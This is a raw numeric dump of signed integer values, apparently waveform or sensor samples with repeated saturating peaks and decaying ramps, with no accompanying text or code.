+59 +53 48 -43 -40 +42 37 -34 -31 +33 29 -27 -25 +26 23 -22 20 -19 17 -16 -14 +15 13 -12 11 9 8 -8 -7 6 -6 -5 -5 -4 4 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-107 +-100 -79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --84 --94 --88 --66 --76 --56 +-91 +-70 +-80 +-77 +-73 +-70 -67 --63 +-62 -58 +-56 -54 -51 -48 -45 --41 +-44 +-42 +-39 -38 -36 -34 +-33 +-32 -31 -29 +-28 -27 -26 +-26 +-25 -24 +-23 +-23 -22 +-22 +-21 +-20 -20 -19 -18 +-18 +-18 +-17 +-17 +-16 +-17 +-16 +-16 -16 -15 +-16 +-16 +-16 +-15 +-15 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-11 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +115 +110 +108 +104 +100 +95 +90 +84 +79 +72 +66 +58 +53 +46 +42 +37 +33 +29 +26 +23 +20 +17 +15 +13 +11 +9 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-10 +-10 +-92 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-99 +-109 +-101 +-80 +-90 +-70 +-81 +-76 +-72 +-69 +-65 +-62 +-58 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-37 +-36 +-34 +-33 +-32 +-31 +-29 +-28 +-28 +-27 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +112 +108 +105 +101 +97 +92 +88 +82 +77 +70 +64 +58 +52 +46 +41 +36 +32 +29 +25 +22 +19 +16 +14 +12 +10 +8 +6 +5 +3 +2 +0 +-1 +-1 +-2 +-3 +-4 +-6 +-6 +-8 +-8 +-9 +-10 +-10 +-10 +-11 +-93 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-98 +-108 +-102 +-80 +-90 +-69 +-81 +-77 +-72 +-69 +-65 +-62 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-26 +-25 +-24 +-23 +-22 +-22 +-21 +-21 +-20 +-20 +-20 +-20 +-19 +-18 +-18 +-18 +-17 +-17 +-17 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-16 +-15 +-15 +-14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-12 +-13 +-13 +-14 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-14 +-14 +-14 +-14 -14 -13 -12 +-12 -11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 -126 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 122 -118 -114 -112 -106 -102 +115 +110 +108 +104 +100 95 90 84 78 72 66 -60 -55 -50 -47 -43 -39 -36 -33 -30 -28 -26 -24 -22 -20 -19 -17 -16 -15 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --93 --87 --65 --76 --55 --66 --62 --58 --54 --51 --48 --45 --42 --39 --36 --34 --32 --29 --28 --26 --23 --21 --20 --19 --17 --16 --15 --14 --14 --13 --11 --11 --11 --9 --8 --8 --7 --7 --6 --6 --5 --5 --5 --4 --3 --3 --2 --3 --2 --2 --2 --2 --2 --2 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -0 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -125 -122 -118 -114 -110 -104 -98 -93 -86 -80 -73 -68 -61 -56 -51 -47 -43 -40 -37 -34 -32 -30 -27 -26 -23 -21 -19 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -6 -6 -5 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --90 --83 --93 --88 --83 --76 --55 --67 --63 --58 --54 --51 --48 --44 --41 --39 --36 --34 --31 --30 --28 --26 --24 --22 --20 --19 --18 --17 --16 --14 --14 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -140 -131 -126 -122 -118 -115 -111 -106 -102 -96 -90 -84 -78 -72 -66 -60 -55 -50 -47 -43 -40 -37 -33 -31 -29 -26 -24 -22 -21 -19 -17 -16 -15 -13 -13 -11 -10 -9 -8 -8 -7 -6 -6 -5 -4 -4 -3 -3 -2 -2 -2 -1 -1 -0 -0 -0 -0 --1 -0 --1 -0 --1 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --4 --4 --3 --4 --3 --4 --3 --3 --3 --3 --3 --3 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --86 --95 --88 --66 --77 --56 --67 --62 --59 --55 --51 --48 --45 --43 --39 --36 --34 --32 --30 --28 --26 --24 --23 --20 --19 --18 --17 --15 --14 --13 --12 --12 --11 --10 --9 --8 --7 --7 --6 --6 --5 --5 --5 --5 --4 --4 --4 --4 --3 --3 --3 --2 --2 --1 --2 --2 --1 -0 --1 --1 --1 -0 -0 --1 -0 -1 -0 -0 -0 -0 -0 -0 -0 -0 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -0 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -2 -1 -1 -2 -2 -3 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -0 -0 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -0 -1 -1 -2 -2 -1 -2 -2 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -0 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -1 -1 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -124 -122 -118 -114 -109 -104 -98 -92 -85 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -22 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --85 --94 --87 --65 --76 --56 --67 --62 --58 --55 --51 --48 --44 --42 --39 --36 --34 --31 --30 --27 --25 --24 --22 --21 --19 --18 --17 --16 --14 --13 --12 --12 --11 --10 --9 --9 --9 --7 --6 --6 --6 --5 --5 --4 --4 --4 --4 --4 --3 --3 --3 --2 --2 --2 --2 --1 --1 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -0 -0 -1 -1 -1 -1 -2 -2 -1 -2 -1 -1 -1 -0 -0 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -0 -0 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -122 -118 -114 -109 -105 -98 -93 -85 -79 -72 -67 -61 -56 -52 -48 -43 -40 -37 -34 -32 -29 -26 -25 -22 -21 -19 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --94 --87 --66 --77 --56 --67 --62 --59 --55 --51 --48 --45 --42 --39 --36 --34 --32 --29 --28 --25 --23 --22 --20 --19 --18 --17 --15 --14 --13 --12 --12 --11 --9 --9 --8 --8 --7 --6 --6 --6 --5 --4 --4 --5 --4 --3 --3 --3 --2 --2 --2 --2 --2 --2 --1 --2 --1 --1 --1 -0 -0 -0 -0 -0 -1 -1 -0 -0 -0 -0 -0 -0 -0 --1 -0 -1 -1 -1 -0 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -0 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -129 -124 -121 -118 -114 -109 -104 -98 -92 -86 -80 -73 -66 -60 -56 -51 -47 -43 -40 -36 -33 -31 -29 -27 -25 -23 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -7 -6 -6 -5 -4 -4 -3 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -0 -0 -0 --1 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --4 --3 --3 --2 --3 --3 --3 --3 --4 --3 --3 --3 --3 --4 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --3 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --84 --94 --88 --83 --77 --56 --68 --64 --60 --55 --51 --48 --44 --41 --38 --36 --34 --31 --30 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --12 --11 --10 --9 --8 --8 --8 --7 --6 --6 --6 --6 --5 --4 --4 --3 --3 --3 --3 --3 --2 --2 --2 --2 --1 --1 --1 --1 --1 -0 --1 --1 --1 -0 -0 -0 -0 -1 -1 -1 -1 -2 -1 -1 -1 -1 -0 -1 -0 -0 --1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -121 -118 -114 -109 -104 -98 -93 -86 -80 -73 -67 -60 -56 -51 -47 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -11 -10 -9 -8 -8 -6 -6 -5 -4 -4 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 --89 --83 --77 --55 --67 --63 --59 --54 --50 --47 --45 --41 --38 --35 --34 --31 --29 --27 --25 --24 --22 --20 --19 --18 --17 --15 --14 --13 --12 --11 --10 --10 --9 --9 --8 --7 --7 --6 --6 --5 --5 --4 --4 --4 --4 --3 --2 --2 --2 --2 --2 --1 --2 --1 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 --1 --1 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -1 -1 -1 -0 -1 -2 -1 -0 -0 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -0 -0 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -125 -122 -118 -114 -109 -104 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -44 -40 -37 -34 -31 -29 -27 -25 -23 -21 -19 -18 -16 -15 -13 -13 -12 -11 -10 -10 -9 -8 -7 -7 -6 -5 -5 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --83 --93 --87 --66 --76 --55 --67 --63 --59 --55 --51 --48 --45 --42 --39 --36 --34 --32 --29 --27 --26 --24 --23 --20 --19 --19 --18 --16 --15 --14 --13 --11 -141 -141 -141 